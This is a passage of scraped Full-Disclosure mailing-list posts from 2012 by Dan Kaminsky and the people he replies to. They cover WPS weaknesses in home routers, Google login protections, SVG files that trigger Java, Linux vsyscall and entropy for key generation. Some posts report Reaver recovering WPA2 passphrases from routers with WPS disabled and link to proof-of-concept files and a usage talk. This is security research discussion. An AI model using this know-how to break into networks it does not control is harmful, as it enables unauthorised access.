\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/181", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 10)", "frm": "Dan Kaminsky ", "date": "Fri, 10 Feb 2012 16:43:12 -0500", "body_html": "\n
On Fri, Feb 10, 2012 at 4:33 PM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Fri, 10 Feb 2012 14:41:37 EST, Dan Kaminsky said:\n\n
According to the Reaver people, DD-WRT doesn't support WPS at all :)\n
\n\nThe sort of people that run DD-WRT probably consider that a feature, not a\nbug. ;)\n\n
\n\nIf you've got the skill to install DD-WRT, you've got the skill to manually\nset up WPA2.\n\nNote, by the way, the core concept of WPS (that setup should be easy) was\nabsolutely correct, and we have hard data that it worked.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/199", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 12)", "frm": "Dan Kaminsky ", "date": "Sun, 12 Feb 2012 16:55:10 -0500", "body_html": "\n
Interesting.  Do you know if they stop advertising WPS support after they\ndisable it?\n\nOn Sun, Feb 12, 2012 at 10:11 AM, Rob Fuller <jd.mubix () gmail com> wrote:\n\n
I've tested a 6 models of Linksys, all of them appear to disable WPS\ncompletely as soon as a single wireless setting is set. I assume this\nwould be the reason Cisco/Linksys aren't putting much stock in\n'fixing' it further. If anyone has any experience to contradict this\nor have a modification to current tools to circumvent what I've\nperceived as disabled, I, as I'm sure Craig, would be very interested.\n\n--\nRob Fuller | Mubix\nCertified Checkbox Unchecker\nRoom362.com | Hak5.org\n\n\n\nOn Sat, Feb 11, 2012 at 4:23 PM,  <farthvader () hush ai> wrote:\n
_________________________________________________________________________\n"Use Tomato-USB OS on them."\n_________________________________________________________________________\n\nBesides you void warranty...\nlist of DD-WRT Supported routers:\n\n E1000        supported\n E1000 v2     supported\n E1000 v2.1   supported\n E1200 v1     ???\n E1200 v2     ???\n E1500        ???\n E1550        ???\n E2000        supported\n E2100L       supported\n E2500        not supported\n E3000        supported\n E3200        supported\n E4200 v1     not supported yet\n E4200 v2     not supported\n M10          ????\n M20          ????\n M20 v2       ????\n RE1000       ????\n WAG120N      not supported\n WAG160N      not supported\n WAG160N v2   not supported\n WAG310G      not supported\n WAG320N      not supported\n WAG54G2      not supported\n WAP610N      not supported\n WRT110       not supported\n WRT120N      not supported\n WRT160N v1   supported\n WRT160N v2   not supported\n WRT160N v3   supported\n WRT160NL     supported\n WRT310N v1   supported\n WRT310N v2   not supported yet\n WRT320N      supported\n WRT400N      supported\n WRT54G2 v1   supported\n WRT54G2 v1.3 supported\n WRT54G2 v1.5 not supported\n WRT54GS2 v1  supported\n WRT610N v1   supported\n WRT610N v2   supported\n X2000        not supported\n X2000 v2     not supported\n X3000        not supported.\n\n_________________________________________________________________________\n\n"Fixing?  Heh.\n\nAside from rate limiting WPS, there isn't much of a fix, and you can't\n
turn it off either."\n
_________________________________________________________________________\n\nWhat about removing WuPS entirely?\n\nWuPS is a total failure because:\n\n1. Even if everything is fine 8 digits long is very weak because once\n
you got the pin after 7 month - 2 years for example, you are completely\npwned.\n
\n\n2. Pin number is fixed you can't change it to a longer number or maybe a\n
string like "omgponnies"\n
\n\n3. Setting up a WPA2 password manually it's a piece of cake (even with\n
keypad only cell phones), if some people are lazy, you don't have to\nweakening the security of a strong protocol.\n
\n\nFarth Vader\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/215", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 13)", "frm": "Dan Kaminsky ", "date": "Mon, 13 Feb 2012 10:32:07 -0500", "body_html": "\n
\n\nSteve while he's often derided goes into this very well.  Many cisco's\nonly stop advertising wps when it is "off" but wps actually still\nexists...which means they are still easily hackable.\n\n
\n\nHave you directly confirmed a WPS exchange can occur even on devices that\naren't advertising support?  That would indeed be a quick and dirty way to\n"turn the feature off".\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/225", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 13)", "frm": "Dan Kaminsky ", "date": "Mon, 13 Feb 2012 16:57:27 -0500", "body_html": "\n
That's a fairly significant finding.  Can anyone else confirm the existence\nof devices that still fall to Reaver even when WPS is disabled?\n\nChris, when you run:\n\niw scan wlan0 | grep \u00e2\u0080\u009cConfig methods\u00e2\u0080\u009d\n\nDo you see a difference in advertised methods?\n\nOn Mon, Feb 13, 2012 at 3:58 PM, chris nelson <sleekmountaincat () gmail com>wrote:\n\n
i have tested reaver on a netgear and linksys (dont have model nos. with\nme) with wps disabled and enabled. the wps setting did not matter and both\nwere vulnerable. was able to recover wpa2 passphrase in ~4 hrs on both.\n\n\n\n\nOn Mon, Feb 13, 2012 at 8:32 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
Steve while he's often derided goes into this very well.  Many cisco's\n
only stop advertising wps when it is "off" but wps actually still\nexists...which means they are still easily hackable.\n\n
\n\nHave you directly confirmed a WPS exchange can occur even on devices that\naren't advertising support?  That would indeed be a quick and dirty way to\n"turn the feature off".\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Feb/229", "subject": "Re: Linksys Routers still Vulnerable to Wps\tvulnerability.", "index_author": "Dan Kaminsky (Feb 13)", "frm": "Dan Kaminsky ", "date": "Mon, 13 Feb 2012 19:16:11 -0500", "body_html": "\n
Well, what this all tells me is that my process of simply checking for\nadvertised configuration methods understates the number of nodes actually\nvulnerable.  Reaver should be modifiable into an active scanner, at least.\n\nOn Mon, Feb 13, 2012 at 7:09 PM, Ian Hayes <cthulhucalling () gmail com> wrote:\n\n
On Mon, Feb 13, 2012 at 1:57 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
That's a fairly significant finding.  Can anyone else confirm the\n
existence\n
of devices that still fall to Reaver even when WPS is disabled?\n
\n\nThe Netgear N750 definitely does. I can rummage through my Box'o'Stuff\nand see if I have any more wireless APs...\n\nIt looks like the Belkin routers don't. After disabling WPS, reaver\njust hung after hitting the channel the AP was on. Re-enabling, reaver\nwent right to work.\n\nJust in case anyone hasn't figured out how to use it yet, I did an\nin-house presentation a few weeks ago:\n\n\nhttp://www.n2netsec.com/site/index.php?option=com_content&view=section&layout=blog&id=5&Itemid=89\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/May/199", "subject": "Re: Google Accounts Security Vulnerability", "index_author": "Dan Kaminsky (May 18)", "frm": "Dan Kaminsky ", "date": "Fri, 18 May 2012 13:03:24 -0700", "body_html": "\n
Surely you can create a sock puppet for debugging purposes.\n\nOn Thu, May 17, 2012 at 11:43 AM, Michael Gray <mgray () emitcode com> wrote:\n\n
I'm not interested in providing that information. You can reproduce it\nwithout knowing my user name.\nOn May 17, 2012 8:45 AM, "Mike Hearn" <hearn () google com> wrote:\n\n
If you provide the name of the account you're logging in to, we can go\ntake a look what's happening.\n\nOn Thu, May 17, 2012 at 5:29 PM, Michael Gray <mgray () emitcode com> wrote:\n
Regardless of how you say it works, I can bypass it every time it would\nseem. Again, by using the method in my original post. It's likely you\n
have a\n
bug if this isn't the functionality you're after.\n\nI appreciate the statistics but they mean little to me.\n\nThank you for taking the time to respond. I hope my suggestions and\n
findings\n
will assist you in correcting these issues\n\nOn May 17, 2012 5:51 AM, "Mike Hearn" <hearn () google com> wrote:\n
\n\nI understand your concerns, however they are not valid. You can be\nassured of the following:\n\n1) We do not see this system as a replacement for passwords. If we\nblock a login the user is notified and asked if it was them, if it\nwasn't we ask them to pick a new password. In very high confidence\ncases we will immediately force the user to choose a new password,\nbecause passwords are still the first line of defense.\n\n2) We do not see this system as a replacement for 2-factor\nauthentication. However the reality is that the vast majority of our\nusers do not use 2-factor authentication and this is unlikely to\nchange any time soon. 2SV imposes a significant extra burden on the\nuser such that despite heavy promotion many users refuse to sign up,\nand of those that do, many choose to unenroll shortly afterwards.\nTherefore we also provide this always-on best effort system as well.\n\n3) In fact it is very effective at stopping the large, botnet driven\ntypes of attacks we see on a daily basis and so saying it doesn't add\nany security is wrong. Since going live the system has successfully\ndefended tens of millions of users who have a compromised password. A\nsingle unrepresentative data point based on one account isn't enough\nfor you to judge the utility of the system, whereas we can clearly see\nthe stopped campaigns (and drop in number of attempts).\n\nThat said, if you have friends and relatives who use Google and you'd\nlike to to make them more secure, by all means encourage them to set\nup two-factor authentication.\n
\n\n\n\n--\n\nMike Hearn | Senior Software Engineer | hearn () google com | Account\nsecurity team\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/May/133", "subject": "Re: Trigerring Java code from a SVG image", "index_author": "Dan Kaminsky (May 16)", "frm": "Dan Kaminsky ", "date": "Wed, 16 May 2012 02:13:13 -0700", "body_html": "\n
Yeah, there's a bunch of wild stuff in SVG.  The browsers ignore most of\nit, AFAIK.  I think Firefox is the only browser to even consider\nForeignObjects (which let you throw HTML back into SVG).\n\nProbably the most interesting SVG thing is how they either do or don't have\nscript access, depending on whether or not they're loaded as <img>'s.  It\nwould be problematic indeed if <img src="foo.jpg"> could suddenly render\nscript!\n\n\nOn Tue, May 15, 2012 at 5:07 AM, Nicolas Gr\u00c3\u00a9goire <\nnicolas.gregoire () agarri fr> wrote:\n\n
Hello,\n\nSVG is a XML-based file format for static or animated images. Some SVG\nspecifications (like  SVG 1.1 and SVG Tiny 1.2) allow to trigger some\nJava code when the SVG file is opened.\n\nGiven that I had to look at these features for a customer, I developed\nsome PoC codes which are now available online:\nhttp://www.agarri.fr/docs/batik-evil.svg\nhttp://www.agarri.fr/docs/batik-evil.jar\n\nI published a more detailed article on my blog:\nhttp://www.agarri.fr/blog/\n\nRegards,\nNicolas Gr\u00c3\u00a9goire / @Agarri_FR\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/May/136", "subject": "Re: Trigerring Java code from a SVG image", "index_author": "Dan Kaminsky (May 16)", "frm": "Dan Kaminsky ", "date": "Wed, 16 May 2012 03:25:38 -0700", "body_html": "\n
Anything from <img> in any browser?\n\nOn Wed, May 16, 2012 at 2:25 AM, Michele Orru <antisnatchor () gmail com>wrote:\n\n
Mario Heiderich did a lot of research on that, he found so many bugs\nthat allowed\nto embed Javascript in SVG images.\n\nNice stuff Nick btw,\n\nCheers\nantisnatchor\n\nOn Wed, May 16, 2012 at 10:13 AM, Dan Kaminsky <dan () doxpara com> wrote:\n
Yeah, there's a bunch of wild stuff in SVG.  The browsers ignore most of\n
it,\n
AFAIK.  I think Firefox is the only browser to even consider\n
ForeignObjects\n
(which let you throw HTML back into SVG).\n\nProbably the most interesting SVG thing is how they either do or don't\n
have\n
script access, depending on whether or not they're loaded as <img>'s.  It\nwould be problematic indeed if <img src="foo.jpg"> could suddenly render\nscript!\n\n\nOn Tue, May 15, 2012 at 5:07 AM, Nicolas Gr\u00c3\u00a9goire\n<nicolas.gregoire () agarri fr> wrote:\n
\n\nHello,\n\nSVG is a XML-based file format for static or animated images. Some SVG\nspecifications (like  SVG 1.1 and SVG Tiny 1.2) allow to trigger some\nJava code when the SVG file is opened.\n\nGiven that I had to look at these features for a customer, I developed\nsome PoC codes which are now available online:\nhttp://www.agarri.fr/docs/batik-evil.svg\nhttp://www.agarri.fr/docs/batik-evil.jar\n\nI published a more detailed article on my blog:\nhttp://www.agarri.fr/blog/\n\nRegards,\nNicolas Gr\u00c3\u00a9goire / @Agarri_FR\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n\n\n--\n/antisnatchor\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/May/162", "subject": "Re: The story of the Linux kernel 3.x...", "index_author": "Dan Kaminsky (May 16)", "frm": "Dan Kaminsky ", "date": "Wed, 16 May 2012 14:39:44 -0700", "body_html": "\n
\n\nBut we're making progress, we now know that opensuse on x86 is broken.\n\n\n
Is VSYSCALL at a fixed address a similar problem?  My Ubuntu boxes indeed\nhave this mapped at the fixed location mentioned.\n\n--Dan\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/222", "subject": "Re: how i stopped worrying and loved the backdoor", "index_author": "Dan Kaminsky (Aug 18)", "frm": "Dan Kaminsky ", "date": "Sat, 18 Aug 2012 17:21:01 -0700", "body_html": "\n
Yeah, turns out RNG's *aren't* on most motherboards.  Thus, DakaRand.\n\nThe biggest surprise of this entire adventure is that DakaRand seems to\nwork inside of VM's too.  Didn't expect that at all.  But then, I think\nit's going to take some time to analyze what's going on here.\n\nOn Sat, Aug 18, 2012 at 4:00 PM, coderman <coderman () gmail com> wrote:\n\n
Dan just released "DakaRand"\n  http://dankaminsky.com/2012/08/15/dakarand/\n\nsrc http://s3.amazonaws.com/dmk/dakarand-1.0.tgz\n\nwhile admitting that "Matt Blaze has essentially disowned this\napproach, and seems to be honestly horrified that I\u00e2\u0080\u0099m revisiting it"\nand "Let me be the first to say, I don\u00e2\u0080\u0099t know that this works." this\nmode would greatly reduce, maybe eliminate the incidence of key\nduplication in large sample sets (e.g. visibly poor entropy for key\ngeneration)\n\nthe weak keys[0] authors clearly posit that they have detected merely\nthe most obvious and readily accessible poor keys, and that further\nattacks against generator state could yield even more vulnerable\npairs... you have been warned :P\n\nthe solution is adding hw entropy[1][2] to the mix. anything less is\ndoing it wrong!\n\nif you don't have hw entropy, adding dakarand is better than not.\n\n0. "Mining Your Ps and Qs: Detection of Widespread Weak Keys in\nNetwork Devices - Extended"\n  https://factorable.net/weakkeys12.extended.pdf\n\n1. "Intel RNG"\n  http://lists.randombit.net/pipermail/cryptography/2012-June/002995.html\n see also by thread:\n\nhttp://lists.randombit.net/pipermail/cryptography/2012-June/thread.html#2995\n\n2. xstore\n\nhttp://www.via.com.tw/en/downloads/whitepapers/initiatives/padlock/rng_prog_guide.pdf\n\nX. LD 50 radiation exposure of the common pigeon. entropy via carrier\npigeon (DRAFT)\n ;P\n\nP.P.S: if you're not passing valid hw entropy into VM guests, you're\nalso doing it wrong. even enough passed at boot is sufficient,\nprovided key generation is secure. always a million caveats... and\nadding dakarand to guests is better than not.\n\n\nOn Wed, Jul 18, 2012 at 12:35 PM, coderman <coderman () gmail com> wrote:\n
On Fri, Dec 24, 2010 at 5:08 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
...\nDon't we have hardware RNG in most motherboard chipsets nowadays?\n
\n\nclearly not enough of them!\n\n'Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network\n
Devices'\n
https://factorable.net/weakkeys12.extended.pdf\n
\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/232", "subject": "Re: DakaRand", "index_author": "Dan Kaminsky (Aug 19)", "frm": "Dan Kaminsky ", "date": "Sun, 19 Aug 2012 09:42:51 -0700", "body_html": "\n
\n\nLots of people are using "haveged" already, it operates on a similar\nprinciple.\n\nhttp://www.issihosts.com/haveged/\n\nCiao, Marcus\n\n
\n\nOh yes, there's been code floating around for years that uses timing drift\n-- but it's never anything that, say, gets integrated into kernels or\ndistros or even embedded frameworks.  Compared to the number of nodes out\nthere, it's certainly not "lots" of people using haveged.  There's just\nbeen a lot of fear and nervousness around clock drift approaches, and\nindeed, entropy gathering has gotten *worse* (via abandonment of\ninterrupts), not better.\n\nHopefully we can finally put all that -- not to bed -- but to the test.\n Lets find out if clock drift works after all.\n\n--Dan\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/235", "subject": "Re: DakaRand", "index_author": "Dan Kaminsky (Aug 19)", "frm": "Dan Kaminsky ", "date": "Sun, 19 Aug 2012 13:28:47 -0700", "body_html": "\n
On Sun, Aug 19, 2012 at 10:13 AM, Ben Laurie <ben () links org> wrote:\n\n
On Sun, Aug 19, 2012 at 5:42 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
entropy gathering has gotten *worse* (via abandonment of interrupts), not\nbetter.\n
\n\nEntropy gathering in _one particular OS_. Credit where its due, please.\n\n
\n\nMy understanding is that bad keys were detected on more than just Linux,\nwhich implies starvation on everything on everything not out of Redmond.\n\nWhat interesting approaches are you aware of that deserve credit?  Not a\nrhetorical question, I'm genuinely curious.\n\n--Dan\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/237", "subject": "Re: DakaRand", "index_author": "Dan Kaminsky (Aug 19)", "frm": "Dan Kaminsky ", "date": "Sun, 19 Aug 2012 15:12:17 -0700", "body_html": "\n
On Sun, Aug 19, 2012 at 3:03 PM, Ben Laurie <ben () links org> wrote:\n\n
On Sun, Aug 19, 2012 at 9:28 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
\n\nOn Sun, Aug 19, 2012 at 10:13 AM, Ben Laurie <ben () links org> wrote:\n
\n\nOn Sun, Aug 19, 2012 at 5:42 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
entropy gathering has gotten *worse* (via abandonment of interrupts),\nnot\nbetter.\n
\n\nEntropy gathering in _one particular OS_. Credit where its due, please.\n
\n\n\nMy understanding is that bad keys were detected on more than just Linux,\nwhich implies starvation on everything on everything not out of Redmond.\n\nWhat interesting approaches are you aware of that deserve credit?  Not a\nrhetorical question, I'm genuinely curious.\n
\n\nI was referring to the abandonment of interrupts in Linux. You think\nthat other OSes have got worse at entropy gathering? And when did\n"more than Linux" start implying "not Windows"?\n\n
\n\nMy assumption is that the other Unixes weren't looking at interrupt timing\nto begin with, i.e. they've always been as starved for entropy as Linux\neventually became.  That being said, does VXWorks even *have* an OS\nprovided strong random number generator?\n\nWindows has CryptGenRandom, which AFAIK doesn't block, and survives\neverything but VM suspend/restore.\n\n--Dan\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/240", "subject": "Re: DakaRand", "index_author": "Dan Kaminsky (Aug 20)", "frm": "Dan Kaminsky ", "date": "Mon, 20 Aug 2012 02:22:28 -0700", "body_html": "\n
\n\n
My assumption is that the other Unixes weren't looking at interrupt\n
timing\n
to begin with, i.e. they've always been as starved for entropy as Linux\neventually became.\n
\n\nWell, you know what they say about assumptions.\n\n
\n\nSmart people will come around and help correct them?  :)\n\n\n
\n\n
 That being said, does VXWorks even *have* an OS provided\nstrong random number generator?\n
\n\nDon't know, don't care.\n\n
\n\nWhy not?  It carries your data.\n\n\n
\n\n
Windows has CryptGenRandom, which AFAIK doesn't block, and survives\neverything but VM suspend/restore.\n
\n\nFreeBSD also doesn't block.\n\n
\n\nMay I ask what FreeBSD's entropy sources are?\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/249", "subject": "Re: DakaRand", "index_author": "Dan Kaminsky (Aug 20)", "frm": "Dan Kaminsky ", "date": "Mon, 20 Aug 2012 08:32:59 -0700", "body_html": "\n
On Mon, Aug 20, 2012 at 8:29 AM, Paul Schmehl <pschmehl_lists () tx rr com>wrote:\n\n
--On August 20, 2012 2:22:28 AM -0700 Dan Kaminsky <dan () doxpara com>\nwrote:\n\n
\n\nMay I ask what FreeBSD's entropy sources are?\n\n
\n\nI'm surprised you don't already know.  From device noise.\n
\n\n\nWhich class?  There are many sorts of said noise (most of which I believe\nactually work).\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Aug/253", "subject": "Re: DakaRand", "index_author": "Dan Kaminsky (Aug 20)", "frm": "Dan Kaminsky ", "date": "Mon, 20 Aug 2012 09:35:54 -0700", "body_html": "\n
On Mon, Aug 20, 2012 at 9:29 AM, Paul Schmehl <pschmehl_lists () tx rr com>wrote:\n\n
--On August 20, 2012 8:32:59 AM -0700 Dan Kaminsky <dan () doxpara com>\nwrote:\n\n\n
\n\n\nOn Mon, Aug 20, 2012 at 8:29 AM, Paul Schmehl <pschmehl_lists () tx rr com>\nwrote:\n\n\n--On August 20, 2012 2:22:28 AM -0700 Dan Kaminsky <dan () doxpara com>\nwrote:\n\n\nMay I ask what FreeBSD's entropy sources are?\n\n\nI'm surprised you don't already know.  From device noise.\n\n\n\n\nWhich class?  There are many sorts of said noise (most of which I\nbelieve actually work).\n\n\n
The long answer is look at /usr/src/sys/sys/random.h.\n\nThe short answer is:\n/* Allow the sysadmin to select the broad category of\n* entropy types to harvest\n*/\nstruct harvest_select {\n        int ethernet;\n        int point_to_point;\n        int interrupt;\n        int swi;\n};\n\nswi is software interrupt handlers.  interrupt is hardware interrupts\n(e.g. usb, pci, etc.)\n\n
\n\nNeat.  What's the default, and what does it mine?  Count?  Nanosecond time?\n\n\n
\n\n*If* you install a hardware PRNG, FreeBSD will use that instead (by\ndefault).\n
\n\n\nExcellent.\n\n
\n\n\n--\nPaul Schmehl, Senior Infosec Analyst\nAs if it wasn't already obvious, my opinions\nare my own and not those of my employer.\n*********************************************\n"It is as useless to argue with those who have\nrenounced the use of reason as to administer\nmedication to the dead." Thomas Jefferson\n"There are some ideas so wrong that only a very\nintelligent person could believe in them." George Orwell\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Nov/198", "subject": "Re: OT Google raises sploit bounties", "index_author": "Dan Kaminsky (Nov 27)", "frm": "Dan Kaminsky ", "date": "Tue, 27 Nov 2012 22:32:16 -0800", "body_html": "\n
One Google employee responds to another Google employee about Google\nstuff...\n\n
\n\nIt's almost like security people at Google have been security people for a\nvery long time, and are given a redonkulously long leash ;)\n\n--Dan\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2012/Nov/215", "subject": "Re: OT Google raises sploit bounties", "index_author": "Dan Kaminsky (Nov 28)", "frm": "Dan Kaminsky ", "date": "Wed, 28 Nov 2012 06:25:35 -0800", "body_html": "\n
On Wed, Nov 28, 2012 at 6:23 AM, Georgi Guninski <guninski () guninski com>wrote:\n\n
On Tue, Nov 27, 2012 at 10:32:16PM -0800, Dan Kaminsky wrote:\n
One Google employee responds to another Google employee about Google\nstuff...\n\n
\n\nIt's almost like security people at Google have been security people for\n
a\n
very long time, and are given a redonkulously long leash ;)\n\n--Dan\n
\n\nI would be interested what bounties they would pay\nfor operation \u00d0\u0090\u00d0\u00b2\u00d1\u0080\u00d0\u00be\u00d1\u0080\u00d0\u00b0 or for a botnet of say 1M host.\n\nmicrosoft are paying ridiculously low for botnets :)\n\n\n\n
Attackers get a higher ROI than defenders.  Same as it ever was.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}]